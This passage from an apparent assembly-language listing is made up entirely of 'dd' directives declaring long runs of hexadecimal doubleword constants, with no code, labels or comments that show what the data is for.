0A258A87Bh, 998BEh, 835E16Eh, 0E5A497B5h, 2D384805h dd 38E59941h, 8DBCF468h, 12EF018Ch, 561F7949h, 20E83098h dd 0DC02E475h, 7C34D8B2h, 28CDE0Bh, 82DB0440h, 215CB4D4h dd 3980D9F8h, 0BBA771E3h, 0EC0327E0h, 0DE7CBC80h, 76CB43DDh dd 0E85C0E47h, 349E1723h, 236C2E48h, 7E840086h, 0C161F60Fh dd 0E4D66717h, 4FD86C66h, 0EA9C0B4Fh, 0A944F8C7h, 705AF861h dd 0BD2BA240h, 5821F43Bh, 0C621F8h, 320FF1DCh, 0D5E545CCh dd 40485451h, 4DF8E40Ah, 465EDC9Ch, 6B001F8h, 0B25EE225h dd 5C3822DDh, 0F8BAC210h, 0F2048CEBh, 5BA89711h, 0CAD5A091h dd 2A28083Ah, 3E9848C0h, 2C6E4FA8h, 50016D2Ch, 68B31D98h dd 0E6DC3F71h, 25D091C6h, 0A2E408C5h, 0EB8D160h, 0F1A56E01h dd 31567D4Bh, 0F83387F8h, 701978A2h, 1C0A9F21h, 0E08C8274h dd 6F183F27h, 8AC62623h, 86C2C20h, 420BDA84h, 0C0FCCDC2h dd 31D5FC29h, 5C5F3A00h, 4839248Dh, 7E2B18A8h, 647F68ACh dd 16032012h, 7F395CE0h, 96522FE6h, 97800CBDh, 23A48DE7h dd 0C79540E2h, 9D1BB72Dh, 80A7916Ch, 0B862A4D7h, 40D64A75h dd 44E8BB2Ch, 563EA909h, 3E9BB6Bh, 0BF37C8DBh, 0A27C98B3h dd 940100EAh, 7A5FE8A6h, 0BC4E9E59h, 7300106Eh, 20E486B0h dd 401D56CFh, 35425FE3h, 0D9E71638h, 18F6D924h, 0B5C23CEEh dd 0CF6F5909h, 1C703873h, 28FE050Dh, 0F1FB58D5h, 0BC282854h dd 61048CA6h, 0F6632BB3h, 0B19CB4h, 0AB5A7826h, 531C1FDBh dd 0DBECE04Ah, 0DFA62704h, 7428ED29h, 0B6CB4701h, 0B01203A2h dd 0A7633024h, 0DA3F428Ch, 66FC8B19h, 0F3E7EF8h, 0EE9071BEh dd 0A280DA08h, 3C899D75h, 0D7A75B91h, 315980D8h, 1B5D788h dd 52987160h, 0A7B82838h, 108E28Ch, 35ABACD7h, 30E1837Ch dd 4A4DA3DCh, 7EFC4114h, 24EE6840h, 0C14BD604h, 4623A2C1h dd 0FCDC74B5h, 149A825Eh, 2BB96DC0h, 0A3E6C799h, 1AC16416h dd 0E634F407h, 0FB52A742h, 20445810h, 0A4A4813Eh, 2340A4D5h dd 8AD0CBh, 5E90CC9Ah, 1C3DC20Dh, 410BB000h, 0B1819EA6h dd 0FCA4588Fh, 9DA26982h, 5C125C70h, 5CB45BE2h, 0DDFF09CDh dd 0C0042442h, 4530E0DBh, 0E4357F0Bh, 47B460B3h, 0DCFC4CB0h dd 18CF6E8h, 65A974Dh, 8BFB70BEh, 0A02EBF61h, 0AB74D6E0h dd 8E40004h, 5BAFF2AEh, 0A200E27Fh, 0CF388B55h, 9E23A02Fh dd 56AC934Ch, 697AA84Ch, 8101D89h, 0BC60D9F2h, 1415178h dd 0E8E55740h, 0D4B76E59h, 0F494AC39h, 0A4809C1Ch, 5680B6C8h dd 7B099529h, 9035C854h, 0E9ECB0FCh, 0A349008Ch, 8BE063D7h dd 6CB82A79h, 7D889174h, 670E40C3h, 278E9407h, 5B90326Dh dd 66F5B25Fh, 0C3C2842h, 31BBE801h, 3E51A259h, 257018A8h dd 0D009F25Dh, 0E3007CE4h, 24BFBA6Bh, 1C40C40Dh, 0C94A8258h dd 8A9F201h, 0C200058h, 7C80B01Dh, 0A0F89E83h, 0DBB23230h dd 145C2028h, 3AA8467Ch, 53498943h, 0B33CA0D6h, 0D793B231h dd 0E030A688h, 0F4F7DDEh, 0DB936904h, 0B230E392h, 0A7A63081h dd 0EAEBF900h, 86D43BCCh, 55940B25h, 106DBC1Ah, 0E8E984C0h dd 5E6AFEE7h, 3A2C803Dh dd 3225BBE4h, 9FDCA2B5h, 239A01E0h, 5844682Eh, 0A9A73FECh dd 8DD168DDh, 0BA0C9918h, 80316B79h, 404241E5h, 0BCC20BDCh dd 6C5FC0A4h, 206E6017h, 12CFE303h, 0ECC83BDEh, 90B4541Bh dd 80BD60D6h, 0A3E67986h, 0C2568E01h, 0CF99E7A1h, 9778C2EBh dd 82EA91C0h, 7E5A10A5h, 5E9840FCh, 0F700862Bh, 650B67C4h dd 59FA0956h, 1D0044DEh, 3117BA1Eh, 0C595CE4Fh, 60F9E4C8h dd 30B81CEh, 0FACA2551h, 5CAB337Dh, 0CD2B5805h, 0B4028DAAh dd 0FC9C2157h, 5B7009F8h, 0CE83209h, 0C082D498h, 809E2E30h dd 0B003C79Fh, 0B7F783FAh, 1E69902Ah, 1FDE305h, 6B6FEB20h dd 0B460DC1Ch, 0AB1C3E82h, 7D00CD3Ah, 316C8050h, 640F07D5h dd 807E4733h, 6F2F8C6Bh, 16288D01h, 0AF4232CCh, 4127A460h dd 0D90020DFh, 0DAD0EE12h, 7C80089Bh, 1FDED6F4h, 20083E2Dh dd 62DBD7B4h, 0FDAF00CFh, 8CF415AAh, 277334EBh, 382A6D1Eh dd 0D5B84AC2h, 82507E5Ch, 0B247150Bh, 95B7584Eh, 80FD91A4h dd 6F20F2A5h, 392D60D6h, 0B3214650h, 90C85C4Ah, 0CEA35B0Fh dd 85410030h, 21F7E551h, 7CB09CDAh, 0C0008F46h, 5DF488D7h dd 3117564Dh, 94A4D8C4h, 61F728DCh, 44E89028h, 1C07EAB0h dd 59677545h, 0B7FC38F0h, 0D0E44CC3h, 0ABF9A19Fh, 6C02D118h dd 1B04D7Ah, 78C5802h, 0E7B2537Eh, 41DF935h, 7083A391h dd 0F080AAABh, 0BCEAB83Ah, 0E42E042Ch, 7DFD467Eh, 2657E13Ch dd 8002D4DDh, 425370A9h, 981D5DA4h, 609E4388h, 5A2FDF08h dd 11239404h, 0AD80D6D5h, 24F4C5A0h, 27486C84h, 3E6F1098h dd 944880h, 0B92C9FBDh, 92232678h, 5F88B167h, 6615E2C0h dd 3CB490A8h, 0A70012B6h, 625883DAh, 5053DF5h, 8CBAF121h dd 279908C1h, 0DE603C00h, 0B6E6EC04h, 38B27977h, 0F830EBE2h dd 0B4547875h, 8D465E30h, 12D4321Dh, 64801B3h, 0DA03A86Bh dd 31853068h, 0CC9BAC3Ah, 8DB86214h, 6B0F0249h, 98005C66h dd 2A2CD379h, 0DD51E4h, 151767A9h, 7E6A5C7Dh, 0DED1C600h dd 0FDD00E09h, 52AF2544h, 0A1583853h, 3D31E891h, 7B1360F5h dd 7640F8Ch, 2800D0D4h, 813DA65Eh, 0C2629DFh, 172D20D5h dd 0DA3F8894h, 0FFC06A64h, 3C68C4D1h, 4AD7E0Eh, 0D0DB70A7h dd 8A1CE5BDh, 9C90E1E6h, 217920h, 70F5F001h, 0C603A4BBh dd 5C81A34Fh, 3E3A1BBDh, 0DA401070h, 0BC6B25C0h, 0E302CF89h dd 0D7E97176h, 80ACFCB4h, 2EEC8B64h, 0E80948BFh, 0B2F91AA1h dd 5EC85C2Ch, 0B07E946h, 0B176EB39h, 0E4B343FAh, 8A4B0159h dd 9406E812h, 0F0E08E86h, 4A5EEEDFh, 7A4C0F4Eh, 0ECD8CA04h dd 4B0501B8h, 73CD7433h, 6EAED444h, 48FF01BCh, 0CA4EECD3h dd 24B306FCh, 0AC7D0Eh, 8D5C76A2h, 83063825h, 0B76E0BA4h dd 407F4D98h, 3087A4Eh, 0D1B465DBh, 14E4FBBh, 31FFE510h dd 138C2274h, 1823B0D5h, 0FFBE034h, 655C00AAh, 6AED040Eh dd 0E30044C3h, 97A18FD0h, 94866Dh, 9EFC2363h, 0A637A04Eh dd 351008C0h, 0E85258Ah, 6229570Dh, 12A96441h, 0B7A4F8E6h dd 6EEF5900h, 0D70F3F6h, 7CDF4FCh, 0AB8F12DFh, 4E4850B6h dd 0A36036F1h, 61277F51h, 0F22903ACh, 1A201304h, 219A0830h dd 1C612B62h, 0BFBBC3D3h, 22875C8Eh, 0AD4E4A20h, 29C1A079h dd 0CE3DD2Ch, 0CC29D89Fh, 0C8985F19h, 9F206060h, 54E7EAh dd 0BD935CD3h, 8225E4C7h, 996A7800h, 0F0056DC9h, 3AA40295h dd 4EB961ADh, 578E1AC0h, 0A0B6A601h, 9F0DC81Fh, 59F07089h dd 5C011AF6h, 648FA43Ah, 98EB0895h, 9B51CD00h, 981A3210h dd 17A5E60Eh, 28036073h, 0C00EA7E5h, 7A391FA8h, 0D73E589Dh dd 0F360512Bh, 69F829C8h, 1050EDF5h, 1B0F4A4Eh, 11A47655h dd 0F3E3A980h, 84A32701h, 82D31F5Ah, 0C00EF9D0h, 0E1C0E620h dd 0A600CD99h, 6C7A91B8h, 797EE90h, 0B2A513F7h, 65ED3015h dd 0A4A8A2CEh, 5B18D79Fh, 0F9F8A13Ah, 0AC8801DDh, 49DA8F50h dd 2958890Fh, 0B533001Dh, 0A5CA9BBh, 508D6207h, 22F71EB8h dd 6653370Ch, 394A4899h, 0DD08D693h, 6421709Dh, 8618F451h dd 0C016C72Ah, 0FA00317Ah, 0E3334D9Ah, 304F5610h, 0DA31F379h dd 9D00747Dh, 0D0C770D5h, 0D913Fh, 386E60D3h, 0BB282673h dd 960ACE90h, 84B1F91Dh, 366A4F00h, 5A0809Bh, 63DD2909h dd 19C84008h, 0A5025FCBh, 0C4912B28h, 0AC025246h, 0AB27F2E3h dd 0E1480332h, 0C2DC90C3h, 902652F9h, 6A5BD504h, 0A435057Fh dd 0A0F8C023h, 0C35AC6C2h, 543E2E11h, 0F314D990h, 0E4CDA20Eh dd 21328CF2h, 5436001Ch, 86CAD847h, 5602CB39h, 0A0F7B7DAh dd 3D2490C1h, 0D93F1154h, 8131881Ch, 0D554351Bh, 3305CC9Ah dd 5B87D305h, 0BC302C5Fh, 1C700F09h, 94340A2Fh, 0E506AE0Bh dd 0C8887623h, 0A93722h, 18B38A2Bh, 0EC63534Ah, 0ADDE0209h dd 5D8128Dh, 0A040A6D8h, 538C8EC4h, 4A7F267Bh, 98465E10h dd 233DE639h, 75C71106h, 0F50059B0h, 0D757DBF1h, 42BFF4h dd 7683ADC3h, 0FC69E125h, 0AE411F3Ch, 0A0019F2Ah, 6FC253D7h dd 0F829F822h, 186979A0h, 1F4A01E6h, 63E28951h, 9D4C3018h dd 5C8E4212h, 0C04F1C08h, 2725E1C7h, 9182D321h, 0BEE000F6h dd 103C05E1h, 0D0CB078Fh, 20FCFD97h, 0FE94A4FBh, 3A7FBD00h dd 0D5A54F21h, 0A26E307Bh, 62C6C0C0h, 8E0499C0h, 7B9A59EAh dd 31CB0319h, 94467EDAh, 2C4095C2h, 0CC98F4A4h, 0FCC45085h dd 30491160h, 81B45138h, 27651FA6h, 6208562h, 5991FD12h dd 0E1C68050h, 0A5BB2728h, 0BDDF007Ch, 0FB0D21E1h, 4BCD2909h dd 5E3480FCh, 0EE22816Bh, 31152C0Fh, 0A6948030h, 2B0BDFE9h dd 0B6F06A0Ch, 483679AEh, 0F4C02437h, 0A29A961h, 6593448Ch dd 2442C40h, 37C26ED1h, 443B44Fh, 5CFCD8E4h, 963E9B08h dd 2104C634h, 9B54D200h, 5250FE1h, 0A72C98A6h, 606C4424h dd 0EAED5007h, 0FA1CE94h, 80C15285h, 0CD34BF0Ah, 0E924C800h dd 18A01C61h, 2B5E03E6h, 0AA15C92Ah, 54764839h, 8E033BB8h dd 0FAB558CDh, 0C39023A4h, 5D543B01h, 68184CD9h, 331988h dd 0D3E59854h, 0C20BC611h, 0DCFD8F1Dh, 9E30C0E8h, 266328A5h dd 6084AACAh, 0C1077D30h, 6A7BD720h, 0B0A4679Ah, 12BD2C6h dd 3046F144h, 0E08E6AF7h, 3418227Eh, 45A84DA0h, 60F7E94h dd 93ADA7A9h, 2A0919F5h, 1F4ABCDh, 0DC4A2120h, 1B1043D6h dd 69C424B0h, 1299823h, 963B9B5Bh, 0C008184Ch, 9B53D321h dd 2705668Eh, 0B379551h, 103CD454h, 28C036F2h, 2A27C561h dd 0FB99458Ch, 0A27E20CFh, 0B2018555h, 4A07DE36h, 0A0206BFDh dd 8BB13A88h, 9228D85Dh, 0AA49160h, 0A1D403C8h, 1931D1ECh dd 1130D0h, 0DC44AAF7h, 0EFF9C88Dh, 0D8803C91h, 91C5A152h dd 5CED00F4h, 0C26B8822h, 5CC36C95h, 0A89F42CBh, 1323973Eh dd 2263D42Bh, 0A047A0ECh, 6C600144h, 8B000EC7h, 1104805Dh dd 901D7A34h, 907C905Fh, 743173DCh, 9DF416EEh, 4C1253h dd 44E1CE68h, 3CA5B9E2h, 6407C4h, 45178BDh, 7BE840ADh dd 1FD00A59h, 4E40DFB2h, 0BED146AEh, 8C0901E2h, 0DA8E1364h dd 238C7130h, 30F8B2A0h, 7E0071B8h, 7C46CEABh, 0B555EB3h dd 0CBEC9F21h, 0A01D40A9h, 6E82FC11h, 0DFC023B3h, 15027FE8h dd 914A2A7Eh, 402C4259h, 60267B40h, 10AFE071h, 1F2C29FCh dd 0A360CC50h, 20853464h, 0A8917EEAh, 0D0189971h, 0FF660201h dd 0C7308F40h, 1E3450D6h, 9280DDF9h, 23983A0Fh, 17450194h dd 601D5D5Fh, 0DE406F10h dd 0EC490546h, 2EA0C57Ch, 9A2358h, 3D8D3E86h, 4D00D766h dd 98DEB191h, 193132E8h, 5847565Fh, 0BF31835h, 0D229B061h dd 11902C1Ch, 0C7EC6109h, 47BC206Ah, 21CAB1h, 5F7E294h dd 789DA2BBh, 0B249201Ch, 82E38541h, 0EC235BFAh, 3700BF23h dd 0ECD95954h, 500894F2h, 5300EF0Dh, 0FD061C21h, 2D0FCCFh dd 5B41012Ch, 0F881A6BEh, 289B2B28h, 8CFBBC64h, 230089E6h dd 0A7E52405h, 303CFCF5h, 6CF1A837h, 9A00CF31h, 34303647h dd 5D1938Fh, 0D3CD2BAAh, 5FD405EFh, 0BD449237h, 16543930h dd 383CD95Bh, 0F1000F8Ch, 3BE78D53h, 0A4ED2BAFh, 9CAD7BFCh dd 952A8250h, 9C4004C3h, 0B725B13Fh, 9138976Fh, 5D5787FBh dd 48999210h, 1E5107A6h, 0CCC7BECAh, 7D008D91h, 82E9AF89h dd 1A424DFh, 0A68BA92Fh, 0C0CE8E46h, 3E00BF2Dh, 2184D0C8h dd 14963F04h, 0F5AD3A9Ch, 92564E05h, 3AC81273h, 7062358h dd 0A1A95B9Ch, 0C817D951h, 6E404223h, 75151709h, 0F0904012h dd 90F10B05h, 0E3450F02h, 843032D2h, 3860C0C0h, 0D9105854h dd 6AC8F2E4h, 53F00E80h, 7527A80h, 215F3FCBh, 0F491E9F6h dd 0B581820h, 54963A9Bh, 0CE01A01Ch, 98359B50h, 0F9CCB9FFh dd 5AA51AF4h, 88372111h, 8275F780h, 11DBBBAh, 211FFBF3h dd 0FC2C8A83h, 0C81290B8h, 30CB4914h, 31C19788h, 2C61B21Bh dd 0F4581DCh, 53E2C228h, 5B889EAh, 8BF7D6F5h, 0C065C8C0h dd 84BE17Fh, 11435D02h, 61510D62h, 43857D0h, 388C68BCh dd 0AC8F4023h, 9661B7F9h, 200118F5h, 0B87B3704h, 0A1F2625h dd 4674000Ch, 5A00736Bh, 0B0DE7159h, 4A9D87AEh, 4E0000C5h dd 0A86411Fh, 0CCD40C26h, 14F55308h, 4AA621h, 0D9BD83B8h dd 0DC2C8F45h, 0C7929CAAh, 0D346A091h, 0B3AE130h, 0F2669D75h dd 0C641D200h, 8015A23h, 0A9F99A78h, 93CC2CB2h, 59E10222h dd 4DC194ADh, 0EF46C0E4h, 0C6612502h, 0F09C2227h, 61216000h dd 249C1E33h, 4F54989Ah, 9DC407DFh, 0A0657583h, 42886124h dd 69560002h, 0DEEB11ADh, 0A8F27745h, 0E8A8274Ch, 0A4008CF7h dd 0AF4912B2h, 7FF57C3Fh, 61D8A840h, 1DA024B5h, 9B57C384h dd 186C96E9h, 4FCF8802h, 8E059B00h, 8A534B01h, 1B509092h dd 0C05672CBh, 0EE9DCE8h, 467628B4h, 1C0F00F7h, 0CA8C5E4Bh dd 0BCCB137h, 61001B5Fh, 3C0C6401h, 9700E077h, 63B4EFF7h dd 0F2D34DB6h, 0D99F09D1h, 0C03E483h, 0B90617C7h, 538F3DDh dd 60D716F8h, 29500127h, 5057C947h, 8C7053BCh, 0CFA5Ch dd 7A69800Ah, 1F92558h, 6BA515A8h, 203DF121h, 3B8CBE6Ch dd 0D996543Ah, 0CB2C3934h, 2BB853BBh, 0F8E2F3F6h, 8850A56Ch dd 5C5896B5h, 979F0121h, 0ED750011h, 4B254A1Fh, 0CF522090h dd 0DD908C0h, 6229050Fh, 9E54B009h, 8C23DC2Ah, 1856CC81h dd 0EEE30BB0h, 30458B27h, 0E1C7E580h, 295FD56h, 0FBFF2D25h dd 30CE53A4h, 46567094h, 13037202h, 5B5EFC57h, 2A76E0D5h dd 3A50D272h, 20323F8h, 0DDB860DCh, 0D146EC83h, 0DB664DD8h dd 86025B1Ah, 0DA900358h, 6ED94FDCh, 80A107B4h, 1889136h dd 79050AFEh, 0A08828E8h, 30A2520Bh, 46C91F75h, 13176849h dd 0F43A302Ch, 95019A23h, 0AE92B98h, 42A3E0h, 49EDB68Eh dd 29FC74A9h, 87461D18h, 2C639F64h, 94A0D423h, 2E005837h dd 0E3BD3ADDh, 0D51E70B5h, 3071F34h, 403FE05Ch, 7B9D377Ch dd 0C0A2121Dh, 0D2980EFAh, 43227A0h, 0C1242596h, 133F00FEh dd 7082E39Dh, 79887910h, 0E4189Bh, 0AA0EFECDh, 4A8F5174h dd 4FDD2909h, 98908307h, 433DC3B4h, 0FCE2D830h, 56F0CE31h dd 14F400AEh, 29056603h, 0C964A53h, 9A465Ch, 64ECCBB3h dd 70FCA1FAh, 402C5E3Ch, 95CFD7A0h, 35ECA4B0h, 4674F0B4h dd 42450067h, 0BA688148h, 0A9220761h, 48E42FD9h, 0C5835191h dd 0C38A27E1h, 0E260D459h, 14E1BCh, 0D05F28B1h, 22570763h dd 0A592AD18h, 0F0D9FDD9h, 0FA4205D7h, 359F122Dh, 23502EE8h dd 0FA250095h, 0B77C4611h, 0E42BD824h, 8D14BC28h, 0E8E059E4h dd 1C058CF6h, 5FC7D994h, 0D83D9440h, 14691Eh, 36151897h dd 0C6397E17h, 22883A00h, 0DEFC1DC5h, 5424255Eh, 746D2012h dd 56020F67h, 0D07562E3h, 0FD7B397Ch, 2C80EBA4h, 65467470h dd 512E4B01h, 5137E8C1h, 50A3C594h, 0B649AD88h, 272DC8E8h dd 0CDFCA0C9h, 7EEFD717h, 281E0083h, 0FBBB95E6h, 0C2B0B80Bh dd 1991E102h, 87292B87h, 94425EA4h, 8E58E8F8h, 0DE007CCh dd 0C62795BDh, 221619F0h, 144158DBh, 8E73A9A2h, 8C720871h dd 2C3105E2h, 0B075DCCh, 0F3067409h, 60613C02h, 37952801h dd 9E840C2h, 6DC91D55h, 0F79F4996h, 6AC44045h, 53E2B460h dd 0C8801E28h, 5BF5953Eh, 0B55F0445h, 8281449Bh, 49832A8Dh dd 0FD95F0C4h, 0F4F9F828h, 0D673D513h, 243A64C5h, 0C19EEB10h dd 0BDC12E60h, 0B12A6AD9h, 8D54F00Ch, 257A4006h, 0C008B9h dd 8498B6CDh, 0C97F4982h, 0AF80E4BEh, 7C31DF13h, 0A53622EFh dd 30C9500Eh, 2C63C5F5h, 0AA1FE45Fh, 0C9A9764Ch, 0ACC50067h dd 9DD4CF2Bh, 0B524B8B9h, 0C8325C3Fh, 9B56301Eh, 64963812h dd 0D03980CBh, 0B32F9B80h, 5901F903h, 0E993F802h, 4029DFF0h dd 45E28EECh, 0BC63AEh, 0CF0EFBBCh, 1D72DD4Ch, 432D2713h dd 5C8E3449h, 28994AB9h, 0EC72180h, 8020CF98h, 7F700862h dd 4A411303h, 0FAF757Ch, 74D4C261h, 0E471E900h, 0CA000734h dd 36991146h, 263DD2A1h, 7698E094h, 0E401F646h, 0D68DE02Ch dd 0D439A8A1h, 8DD9E30h, 90301DB0h, 1C2B4634h, 968B9B3Dh dd 0DC9C3Ch, 0CB9B55D1h, 0C85D6FC4h, 10FF49h, 0DD47D532h dd 71542h, 0CBB07051h, 9FE26A3Ch, 1EF5E93Fh, 32811482h dd 0D96227F4h, 0C7867C7Ch, 0C1006115h, 256F5157h, 9A94879h dd 4ACD0FB8h, 999C8C0h, 454B68BEh, 606BE4E4h, 18A9025h dd 7F971FDCh, 7C6CDE69h, 84B2D288h, 4A587B00h, 26C1C608h dd 71506300h, 0F0934CEBh, 0EFE40942h, 0C4513D9Dh, 38189479h dd 2653780Bh, 0B634419Ah, 2C8C44Bh, 0BFD4D4C7h, 73B224C1h dd 1C90C00h, 6C2DA85Fh, 9300C1F9h, 1D2507A9h, 7BBC1CD3h dd 0A70E40DCh, 5D4051FCh, 23B5102Ah, 0B48A96F6h, 56C0F7C8h dd 54B5BFFh, 2BB0D5D2h, 254CF386h, 0B260A1C8h, 52E4A5BBh dd 0FBD80EB6h, 0D962FC9Ah, 84CD235Eh, 0F0600344h, 0F5B021DCh dd 7CDC2E48h, 4522F918h, 2798D779h, 903DFD37h, 49D1BC80h dd 0B29EA39h, 0A9E0CB95h, 712E48E0h, 3046AD43h, 30D23B7h dd 0D14626C8h, 568D6504h, 9CD54479h, 0B5E154A6h, 0B04CF4E6h dd 89013801h, 2BAF14F6h, 0C2E2F3F1h, 60205E78h, 201FFC40h dd 6C908029h, 88D49F10h, 178C95B8h, 134010Dh, 7BE4B31Ch dd 48186892h, 8C04E8F0h, 210CBD03h, 40A9D3Bh, 0DD4A2C18h dd 4564806Ch, 0F496B9E2h, 9EEB215Eh, 0DF450180h, 0B73E0Fh dd 0B8CD9048h, 3A235940h, 0F925E4B2h, 1FA42026h, 24B6AE39h dd 1734A49Ah, 88548FC3h, 26D8C068h, 2D7881A9h, 15161A7Ch dd 0EC0BF785h, 0DE2C4876h, 7A030A9Dh, 5DF2838h, 408E3730h dd 0EB679AB4h, 68004505h, 0B273D2BEh, 1594BF4Bh, 8413C780h dd 480EDC3Eh, 20E0DE7Dh, 2658DFADh, 50B03D03h, 0A1BEF21Eh dd 70C03FEEh, 94B175h, 6B018BA7h, 0DAF8F01Ch, 30A67700h dd 56C6BB74h, 490F005Fh, 0D9CFA37h, 76FD2659h, 0AC0F7D0h dd 14CE6F4h, 0FA964F5h dd 5EC14Ah, 0A7A1B0C8h, 6066C4B0h, 17AD674h, 9AE35170h dd 687CF3EDh, 0A0BE1230h, 0E1E094A6h, 0C30210E3h, 9527FCE2h dd 505697h, 8C21A0C6h, 7000BE88h, 0BD411F1Ah, 70EED3D4h dd 61AD00C2h, 47565EB8h, 2F35D989h, 0FCA23818h, 0E2BCB001h dd 2AA88E23h, 9B2B4C05h, 305B18F1h, 60EE40DFh, 0C5D7E272h dd 80D0385Ch, 2025FB82h, 408C38C7h, 0B8A32B2Fh, 46E829FCh dd 170BC187h, 6A0814F4h, 11981DA0h, 0C6498008h, 33B1813Bh dd 9F811EF9h, 82EB27A8h, 67C46CA5h, 0D4CF0B60h, 0CC65C702h dd 842B3E87h, 9D050EC4h, 20808963h, 48CF05Ch, 27C76126h dd 0B0DCA81Ah, 611E5Fh, 7E412B5Dh, 270F02E3h, 62618279h dd 0BBEC9E50h, 2F5ABC7Ch, 2F52320h, 0B577ACAh, 21B24040h dd 0CCE7AC02h, 46A7C96Fh, 0EC47024h, 0CF8FADDCh, 3538B815h dd 1FA02729h, 0D862CBF4h, 6AE4BCC5h, 5BD79C60h, 3494D224h dd 59B1661Ch, 298064C8h, 6BAA0D2Fh, 910037D0h, 0BFA2D955h dd 32906E9h, 5B3ABC54h, 40049536h, 4A59C84Fh, 0FBAC6CF9h dd 0A6494600h, 41922765h, 0A1E89A36h, 6429B640h, 0E0042ACh dd 7C46BC23h, 2F5BE2B9h, 549A87F6h, 69598C59h, 0F8009418h dd 417F211Fh, 9556DC71h, 0D500E037h, 2BB11859h, 822A1288h dd 8A988081h, 9874ADA6h, 0E3E8A097h, 0A9A76797h, 53DC20CCh dd 36132FD3h, 0DC852882h, 0B04524F8h, 0FB9EF087h, 8BBC512Ch dd 0D0042E62h, 0A22510BFh, 30FAB2ACh, 1D00A568h, 0A95BBCBDh dd 1E138F46h, 17CD2B58h, 3C14DD08h, 8C97BCB4h, 2DB93104h dd 0E481A9CFh, 0B020DB93h, 91EEE139h, 746D75C4h, 70E87100h dd 0A6300AEBh, 0CF308BEEh, 3229FA8Fh, 0A3F90021h, 540956C3h dd 33524E4Ah, 61F10248h, 5C0229AAh, 2D645858h, 0C9656108h dd 664D8058h, 0D2B967C2h, 8D93A403h, 3B894A29h, 0A8277CF1h dd 9EDB0068h, 46766494h, 0D4A80707h, 0FCF1DF02h, 216A3CC7h dd 17E6A48h, 6026E095h, 2C7698F0h, 0A62B5413h, 0F8C83C8Bh dd 3C1219C0h, 2966017Eh, 7BDCE70Ch, 0D3002005h, 4A345F12h dd 13E0D4F6h, 9D000506h, 6119AF65h, 94F293Eh, 0EDEBB189h dd 24C7040Bh, 1F0EEC89h, 89F6116Ch, 731582F7h, 0A59042C9h dd 1C999364h, 0C8C11C5Ah, 623B9171h, 0CD2AC144h, 0D0A8F97Bh dd 3FDD2198h, 1D4AC2Eh, 2A542EC6h, 0AC633D92h, 85BA7048h dd 0AE7B3910h, 0EAFD40A4h, 0A51503A4h, 0A30A23D5h, 2B661875h dd 18A81190h, 618F3897h, 0C90051CEh, 0D930B70Ch, 0FC079ACAh dd 81E902B0h, 38F3DE65h, 63003CD0h, 0FC3F0C5Dh, 4C0A391Fh dd 0AD10E095h, 0FBB80E56h, 0D57CE35Dh, 24EDC453h, 2A812B01h dd 0AD686D7Ah, 1E43728h, 0C8EE4C42h, 4FB824FBh, 0F24D5401h dd 822944F0h, 6CD03B71h, 5BEDEE49h, 3EF880B7h, 6F2CD850h dd 95052B59h, 0C812F807h, 0F4C8B08Bh, 9363B0C7h, 80F14BD9h dd 28C5492Ch, 8E085D0Ah, 0AD0918D7h, 0C8D84994h, 86002C32h dd 7F0B91D5h, 29EAD89Ch, 5540989Eh, 13057A2h, 0D233C3DBh dd 23E38B4Dh, 30FAA2B0h, 67010ADBh, 4893D5B5h, 246DD88Fh dd 0D68E4602h, 2859393Bh, 4FAD013Ch, 4C3CE41Ah, 0FD44720h dd 0EA1BAAA5h, 0F3B149A0h, 0B76B66C7h, 708B730h, 302B5AF3h dd 91595DAh, 0BF4090B6h, 50AFDD27h, 7C3ECCD9h, 8F4E4F1Ch dd 0C03288F0h, 0C4DA4442h, 0B5120190h, 0C4E031E3h, 148E7AC2h dd 0E038C56Ah, 87DD2C04h, 0B284F3F7h, 0F42E30F8h, 9E998E3Fh dd 0FF80B130h, 0CD3EBEEAh, 30019F96h, 85023A5Eh, 0A12597C8h dd 9F7864ACh, 0EC08C09Dh, 7576F9Eh, 909319h, 9594EBDBh dd 23E4B102h, 5663CD4Ch, 1467454h, 0AD9EFE00h, 0D62270Bh dd 22905C50h, 0C0A38E04h, 0C4A45DC7h, 0BD3C01F4h, 36F39063h dd 0EC87E01Ah, 0E72DE6F8h, 0BEAC6423h, 96465664h, 0D632B500h dd 0D9DEB0F8h, 7CFD3578h, 8C31BC68h, 0CCB5C101h, 403C3481h dd 19FBABC0h, 71AA91ADh, 1C6479C8h, 75099E16h, 45000901h dd 609AE41Ch, 3A8E8828h, 0F40BE4B4h, 6C6C0FE0h, 91CC9595h dd 62248569h, 0CAD3ECADh, 0C093C830h, 0E79529CAh, 3D4C64F9h dd 91309795h, 0A20A8295h, 4D94C011h, 8F45805Ch, 0C9566505h dd 50B2A5FCh, 6CB9CC4h, 719B275h, 86DB3830h, 9B0B2055h dd 50001992h, 9CF37E31h, 0B58DDF6Fh, 4A20B09Ch, 5E0C94A1h dd 3F000646h, 8D0C48C8h, 4981CD8h, 4FCA2100h, 0D0B27C46h dd 446B00C6h, 1D7BF618h, 9CB0A0B1h, 6CD13C91h, 69057D18h dd 4DC38E73h, 188B8852h, 74C032C8h, 46F66h, 9A62DC4Bh dd 0F9B95786h, 59892332h, 0AFE4601Fh, 0A9483EEAh, 35C8950Bh dd 0D3748464h, 0F4A09Eh, 26A567B9h, 222BD8FFh, 0F96881BDh dd 29963A2Ah, 8598A476h, 530A5D04h, 408838C6h, 4AF6005Fh dd 3C636EEEh, 9400DE33h, 61ED6A07h, 15EB5BBh, 3FA9AEC3h dd 730F7F79h, 30F8E2E8h, 0C0028857h, 6229ABDAh, 29D87045h dd 2988DCE6h, 0FAC7094Ch, 0D3EFA4A0h, 95006B72h, 3DF630D8h dd 60D52181h, 2220B4DCh, 5D045F46h, 0EF79414Dh, 542338A2h dd 0F4E3AA01h, 2D3B9B27h, 0E1C1F81Ch, 354FC0Fh, 9028EA6h dd 6C6529h, 91A6501Eh, 0A00447Fh, 2D669320h, 2CA417A8h dd 8636D9h, 92650633h, 0D0B682C8h, 3B952860h, 90F09014h dd 0A0017C18h, 32C9A880h, 0C8180D97h, 623C08DAh, 0BE587ECCh dd 0EF1F11B8h, 53838E00h, 0ED9F099Dh, 0D305F8B0h, 931A2BE2h dd 0F04648A0h, 0D12CB1B9h, 47D01905h, 93280046h, 961990DEh dd 6315A44Dh, 0C8C224h, 2C33CE8Fh, 194F5304h, 78981A76h dd 2B252027h, 0B01DE891h, 19CA818Eh, 0F7442011h, 0DC71E780h dd 14AA02FDh, 697E07E9h, 50AE4F60h, 509BDE4Fh, 3AC40180h dd 1C0EF227h, 612F9350h, 0A134C7BCh, 1F0B9869h, 1C9D4DF0h dd 0C28FF411h, 0D1F13880h, 0C600B7BEh, 655046FDh, 58349839h dd 